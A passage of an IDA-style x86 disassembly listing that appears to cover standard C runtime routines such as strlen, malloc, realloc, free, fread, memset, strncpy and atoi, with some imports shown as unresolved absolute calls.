		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B9E0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BA31
		test	ah, ah
		jz	short loc_41BA27
		test	eax, 0FF0000h
		jz	short loc_41BA1D
		test	eax, 0FF000000h
		jz	short loc_41BA13
		jmp	short loc_41B9E0
; ---------------------------------------------------------------------------


loc_41BA13:				; CODE XREF: sub_41B9C0+11j
					; sub_41B9C0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA1D:				; CODE XREF: sub_41B9C0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA27:				; CODE XREF: sub_41B9C0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA31:				; CODE XREF: sub_41B9C0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41B9C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BA3B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+5809p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41BA50
		or	eax, 0FFFFFFFFh
		jmp	short loc_41BA8A
; ---------------------------------------------------------------------------


loc_41BA50:				; CODE XREF: sub_41BA3B+Ej
		test	al, 83h
		jz	short loc_41BA88
		push	esi
		call	sub_41E42B
		push	esi
		mov	edi, eax
		call	sub_41E3C5
		push	dword ptr [esi+10h]
		call	sub_41E312
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41BA76
		or	edi, 0FFFFFFFFh
		jmp	short loc_41BA88
; ---------------------------------------------------------------------------


loc_41BA76:				; CODE XREF: sub_41BA3B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41BA88
		push	eax
		call	sub_41BA91
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41BA88:				; CODE XREF: sub_41BA3B+17j
					; sub_41BA3B+39j ...
		mov	eax, edi


loc_41BA8A:				; CODE XREF: sub_41BA3B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41BA3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA91	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40A928+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41BAF7
		mov	eax, dword_4DD388
		cmp	eax, 3
		jnz	short loc_41BABD
		push	esi
		call	sub_41E717
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41BAE9
		push	eax
		call	sub_41E742
		pop	ecx
		pop	ecx
		jmp	short loc_41BAF7
; ---------------------------------------------------------------------------


loc_41BABD:				; CODE XREF: sub_41BA91+14j
		cmp	eax, 2
		jnz	short loc_41BAE8
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41F472
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BAE8
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 0Ch
		jmp	short loc_41BAF7
; ---------------------------------------------------------------------------


loc_41BAE8:				; CODE XREF: sub_41BA91+2Fj
					; sub_41BA91+44j
		push	esi


loc_41BAE9:				; CODE XREF: sub_41BA91+20j
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27E0580h


loc_41BAF7:				; CODE XREF: sub_41BA91+Aj
					; sub_41BA91+2Aj ...
		pop	esi
		leave
		retn
sub_41BA91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BAFA	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040FA8Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41BB1E
		xor	eax, eax
		jmp	loc_41BBC7
; ---------------------------------------------------------------------------


loc_41BB1E:				; CODE XREF: sub_41BAFA+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BB31
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BB31:				; CODE XREF: sub_41BAFA+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BB3A:				; CODE XREF: sub_41BAFA+C4j
		mov	ecx, [ebp+arg_0]


loc_41BB3D:				; CODE XREF: sub_41BAFA+35j
					; sub_41BAFA+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BB6F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41BB6F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41BB54
		mov	edi, eax


loc_41BB54:				; CODE XREF: sub_41BAFA+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41CD20
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41BBBA
; ---------------------------------------------------------------------------


loc_41BB6F:				; CODE XREF: sub_41BAFA+49j
					; sub_41BAFA+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41BBA2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41BB85
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41BB85:				; CODE XREF: sub_41BAFA+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F9BC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BBCC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BBD2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41BBBA
; ---------------------------------------------------------------------------


loc_41BBA2:				; CODE XREF: sub_41BAFA+78j
		push	esi
		call	sub_41F8E3
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41BBD6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41BBBA:				; CODE XREF: sub_41BAFA+73j
					; sub_41BAFA+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41BB3A
		mov	eax, [ebp+arg_8]


loc_41BBC7:				; CODE XREF: sub_41BAFA+1Fj
					; sub_41BAFA+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41BBCC:				; CODE XREF: sub_41BAFA+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41BBD6
; ---------------------------------------------------------------------------


loc_41BBD2:				; CODE XREF: sub_41BAFA+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41BBD6:				; CODE XREF: sub_41BAFA+B2j
					; sub_41BAFA+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41BBC7
sub_41BAFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBE2	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41D9B3+35p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41BBFD
		push	[ebp+arg_4]
		call	sub_41BEB5
		pop	ecx
		jmp	loc_41BE7D
; ---------------------------------------------------------------------------


loc_41BBFD:				; CODE XREF: sub_41BBE2+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41BC12
		push	[ebp+arg_0]
		call	sub_41BA91
		pop	ecx
		jmp	loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BC12:				; CODE XREF: sub_41BBE2+20j
		mov	eax, dword_4DD388
		cmp	eax, 3
		jnz	loc_41BD22


loc_41BC20:				; CODE XREF: sub_41BBE2+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BCFE
		push	[ebp+arg_0]
		call	sub_41E717
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41BCD9
		cmp	esi, dword_4DD380
		ja	short loc_41BC92
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41EF20
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC8E
		push	esi
		call	sub_41EA6B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BC92
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BC72
		mov	eax, esi


loc_41BC72:				; CODE XREF: sub_41BBE2+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41CD20
		push	ebx
		call	sub_41E717
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41E742
		add	esp, 18h


loc_41BC8E:				; CODE XREF: sub_41BBE2+74j
		test	edi, edi
		jnz	short loc_41BCD5


loc_41BC92:				; CODE XREF: sub_41BBE2+62j
					; sub_41BBE2+81j
		test	esi, esi
		jnz	short loc_41BC99
		push	1
		pop	esi


loc_41BC99:				; CODE XREF: sub_41BBE2+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27F0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BCD5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BCC1
		mov	eax, esi


loc_41BCC1:				; CODE XREF: sub_41BBE2+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41CD20
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E742
		add	esp, 14h


loc_41BCD5:				; CODE XREF: sub_41BBE2+AEj
					; sub_41BBE2+D0j
		test	ebx, ebx
		jnz	short loc_41BCFA


loc_41BCD9:				; CODE XREF: sub_41BBE2+56j
		test	esi, esi
		jnz	short loc_41BCE0
		push	1
		pop	esi


loc_41BCE0:				; CODE XREF: sub_41BBE2+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2880000h
		mov	edi, eax


loc_41BCFA:				; CODE XREF: sub_41BBE2+F5j
		test	edi, edi
		jnz	short loc_41BD1B


loc_41BCFE:				; CODE XREF: sub_41BBE2+43j
		cmp	dword_4DBE48, 0
		jz	short loc_41BD1B
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	loc_41BC20
		jmp	loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BD1B:				; CODE XREF: sub_41BBE2+11Aj
					; sub_41BBE2+123j ...
		mov	eax, edi
		jmp	loc_41BE7D
; ---------------------------------------------------------------------------


loc_41BD22:				; CODE XREF: sub_41BBE2+38j
		cmp	eax, 2
		jnz	loc_41BE3D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BD3F
		test	esi, esi
		jbe	short loc_41BD3C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BD3F
; ---------------------------------------------------------------------------


loc_41BD3C:				; CODE XREF: sub_41BBE2+150j
		push	10h
		pop	esi


loc_41BD3F:				; CODE XREF: sub_41BBE2+14Cj
					; sub_41BBE2+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BE1F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F472
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41BE03
		cmp	esi, dword_43CE74
		jnb	short loc_41BDC7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F83A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41BD8D
		mov	edi, [ebp+arg_0]
		jmp	short loc_41BDBF
; ---------------------------------------------------------------------------


loc_41BD8D:				; CODE XREF: sub_41BBE2+1A4j
		push	edi
		call	sub_41F50E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BDC7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BDA6
		mov	eax, esi


loc_41BDA6:				; CODE XREF: sub_41BBE2+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41CD20
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 18h


loc_41BDBF:				; CODE XREF: sub_41BBE2+1A9j
		test	edi, edi
		jnz	loc_41BD1B


loc_41BDC7:				; CODE XREF: sub_41BBE2+18Bj
					; sub_41BBE2+1B6j
		push	esi
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27F0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BE1F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BDE8
		mov	eax, esi


loc_41BDE8:				; CODE XREF: sub_41BBE2+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41CD20
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 18h
		jmp	short loc_41BE17
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BBE2+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2880000h
		mov	edi, eax


loc_41BE17:				; CODE XREF: sub_41BBE2+21Fj
		test	edi, edi
		jnz	loc_41BD1B


loc_41BE1F:				; CODE XREF: sub_41BBE2+162j
					; sub_41BBE2+1F8j
		cmp	dword_4DBE48, 0
		jz	loc_41BD1B
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	loc_41BD3F
		jmp	short loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BE3D:				; CODE XREF: sub_41BBE2+143j
					; sub_41BBE2+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BE67
		test	esi, esi
		jnz	short loc_41BE4B
		push	1
		pop	esi


loc_41BE4B:				; CODE XREF: sub_41BBE2+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD384
		call	near ptr 2880000h
		nop
		test	eax, eax
		jnz	short loc_41BE7D


loc_41BE67:				; CODE XREF: sub_41BBE2+260j
		cmp	dword_4DBE48, 0
		jz	short loc_41BE7D
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	short loc_41BE3D


loc_41BE7B:				; CODE XREF: sub_41BBE2+2Bj
					; sub_41BBE2+134j ...
		xor	eax, eax


loc_41BE7D:				; CODE XREF: sub_41BBE2+16j
					; sub_41BBE2+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BE82	proc near		; CODE XREF: sub_41BEA2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41FD3D
		test	eax, eax
		jnz	short loc_41BE8C
		retn
; ---------------------------------------------------------------------------


loc_41BE8C:				; CODE XREF: sub_41BE82+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41FBCD
		add	esp, 10h
		retn
sub_41BE82	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEA2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+57DDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41BE82
		add	esp, 0Ch
		retn
sub_41BEA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEB5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40A928+63p ...

arg_0		= dword	ptr  4

		push	dword_4DBE48
		push	[esp+4+arg_0]
		call	sub_41BEC7
		pop	ecx
		pop	ecx
		retn
sub_41BEB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEC7	proc near		; CODE XREF: sub_41BEB5+Ap
					; sub_41D9A5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41BEF0


loc_41BECE:				; CODE XREF: sub_41BEC7+27j
		push	[esp+arg_0]
		call	sub_41BEF3
		test	eax, eax
		pop	ecx
		jnz	short locret_41BEF2
		cmp	[esp+arg_4], eax
		jz	short locret_41BEF2
		push	[esp+arg_0]
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	short loc_41BECE


loc_41BEF0:				; CODE XREF: sub_41BEC7+5j
		xor	eax, eax

locret_41BEF2:				; CODE XREF: sub_41BEC7+13j
					; sub_41BEC7+19j
		retn
sub_41BEC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEF3	proc near		; CODE XREF: sub_41BEC7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DD388
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41BF17
		cmp	esi, dword_4DD380
		ja	short loc_41BF49
		push	esi
		call	sub_41EA6B
		test	eax, eax
		pop	ecx
		jz	short loc_41BF49
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BF17:				; CODE XREF: sub_41BEF3+Dj
		cmp	eax, 2
		jnz	short loc_41BF49
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41BF2C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BF2F
; ---------------------------------------------------------------------------


loc_41BF2C:				; CODE XREF: sub_41BEF3+2Fj
		push	10h
		pop	esi


loc_41BF2F:				; CODE XREF: sub_41BEF3+37j
		cmp	esi, dword_43CE74
		ja	short loc_41BF56
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F50E
		test	eax, eax
		pop	ecx
		jnz	short loc_41BF65
		jmp	short loc_41BF56
; ---------------------------------------------------------------------------


loc_41BF49:				; CODE XREF: sub_41BEF3+15j
					; sub_41BEF3+20j ...
		test	esi, esi
		jnz	short loc_41BF50
		push	1
		pop	esi


loc_41BF50:				; CODE XREF: sub_41BEF3+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41BF56:				; CODE XREF: sub_41BEF3+42j
					; sub_41BEF3+54j
		push	esi
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27F0000h


loc_41BF65:				; CODE XREF: sub_41BEF3+52j
		pop	esi
		retn
sub_41BEF3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BF70	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41BFC3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41BFB7
		neg	ecx
		and	ecx, 3
		jz	short loc_41BF99
		sub	edx, ecx


loc_41BF93:				; CODE XREF: sub_41BF70+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41BF93


loc_41BF99:				; CODE XREF: sub_41BF70+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41BFB7
		rep stosd
		test	edx, edx
		jz	short loc_41BFBD


loc_41BFB7:				; CODE XREF: sub_41BF70+18j
					; sub_41BF70+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41BFB7


loc_41BFBD:				; CODE XREF: sub_41BF70+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BFC3:				; CODE XREF: sub_41BF70+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41BF70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFD0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41C053
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41BFF4
		shr	ecx, 2
		jnz	short loc_41C061
		jmp	short loc_41C015
; ---------------------------------------------------------------------------


loc_41BFF4:				; CODE XREF: sub_41BFD0+1Bj
					; sub_41BFD0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41C022
		test	al, al
		jz	short loc_41C02A
		test	esi, 3
		jnz	short loc_41BFF4
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C061


loc_41C010:				; CODE XREF: sub_41BFD0+8Fj
		and	ebx, 3
		jz	short loc_41C022


loc_41C015:				; CODE XREF: sub_41BFD0+22j
					; sub_41BFD0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41C04E
		dec	ebx
		jnz	short loc_41C015


loc_41C022:				; CODE XREF: sub_41BFD0+2Bj
					; sub_41BFD0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C02A:				; CODE XREF: sub_41BFD0+2Fj
		test	edi, 3
		jz	short loc_41C044


loc_41C032:				; CODE XREF: sub_41BFD0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41C0C6
		test	edi, 3
		jnz	short loc_41C032


loc_41C044:				; CODE XREF: sub_41BFD0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C0B7


loc_41C04B:				; CODE XREF: sub_41BFD0+7Fj
					; sub_41BFD0+F4j
		mov	[edi], al
		inc	edi


loc_41C04E:				; CODE XREF: sub_41BFD0+4Dj
		dec	ebx
		jnz	short loc_41C04B
		pop	ebx
		pop	esi


loc_41C053:				; CODE XREF: sub_41BFD0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C059:				; CODE XREF: sub_41BFD0+A9j
					; sub_41BFD0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C010


loc_41C061:				; CODE XREF: sub_41BFD0+20j
					; sub_41BFD0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C059
		test	dl, dl
		jz	short loc_41C0AB
		test	dh, dh
		jz	short loc_41C0A1
		test	edx, 0FF0000h
		jz	short loc_41C097
		test	edx, 0FF000000h
		jnz	short loc_41C059
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C097:				; CODE XREF: sub_41BFD0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C0A1:				; CODE XREF: sub_41BFD0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C0AB:				; CODE XREF: sub_41BFD0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41C0AF:				; CODE XREF: sub_41BFD0+C5j
					; sub_41BFD0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41C0C1


loc_41C0B7:				; CODE XREF: sub_41BFD0+79j
		xor	eax, eax


loc_41C0B9:				; CODE XREF: sub_41BFD0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41C0B9


loc_41C0C1:				; CODE XREF: sub_41BFD0+E5j
		and	ebx, 3
		jnz	short loc_41C04B


loc_41C0C6:				; CODE XREF: sub_41BFD0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41BFD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C0CE	proc near		; CODE XREF: sub_41C159+4p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41C0D6:				; CODE XREF: sub_41C0CE+34j
		cmp	dword_43D084, 1
		jle	short loc_41C0EE
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C0FD
; ---------------------------------------------------------------------------


loc_41C0EE:				; CODE XREF: sub_41C0CE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C0FD:				; CODE XREF: sub_41C0CE+1Ej
		test	eax, eax
		jz	short loc_41C104
		inc	edi
		jmp	short loc_41C0D6
; ---------------------------------------------------------------------------


loc_41C104:				; CODE XREF: sub_41C0CE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41C114
		cmp	esi, 2Bh
		jnz	short loc_41C118


loc_41C114:				; CODE XREF: sub_41C0CE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41C118:				; CODE XREF: sub_41C0CE+44j
		xor	ebx, ebx


loc_41C11A:				; CODE XREF: sub_41C0CE+7Bj
		cmp	dword_43D084, 1
		jle	short loc_41C12F
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C13A
; ---------------------------------------------------------------------------


loc_41C12F:				; CODE XREF: sub_41C0CE+53j
		mov	eax, off_43CE78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C13A:				; CODE XREF: sub_41C0CE+5Fj
		test	eax, eax
		jz	short loc_41C14B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41C11A
; ---------------------------------------------------------------------------


loc_41C14B:				; CODE XREF: sub_41C0CE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41C154
		neg	eax


loc_41C154:				; CODE XREF: sub_41C0CE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41C0CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C159	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+717p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41C0CE
		pop	ecx
		retn
sub_41C159	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43AE1C
		test	eax, eax
		jz	short loc_41C16F
		call	eax ; sub_41D124


loc_41C16F:				; CODE XREF: ___:0041C16Bj
		push	offset dword_429028
		push	offset dword_429014
		call	sub_41C24C
		push	offset dword_429010
		push	offset dword_429000
		call	sub_41C24C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41C1B3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41C1A2	proc near		; CODE XREF: sub_41E2C9+1Cp
					; sub_422DFC+21E6p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41C1B3
		add	esp, 0Ch
		retn
sub_41C1A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1B3	proc near		; CODE XREF: ___:0041C199p
					; sub_41C1A2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DBE24, edi
		jnz	short loc_41C1D0
		push	[esp+4+arg_0]
		call	near ptr 27405B8h
		nop
		push	eax
		call	near ptr 2730AC4h
		nop


loc_41C1D0:				; CODE XREF: sub_41C1B3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DBE20, edi
		mov	byte_4DBE1C, bl
		jnz	short loc_41C224
		mov	eax, dword_4DD39C
		test	eax, eax
		jz	short loc_41C213
		mov	ecx, dword_4DD398
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41C212


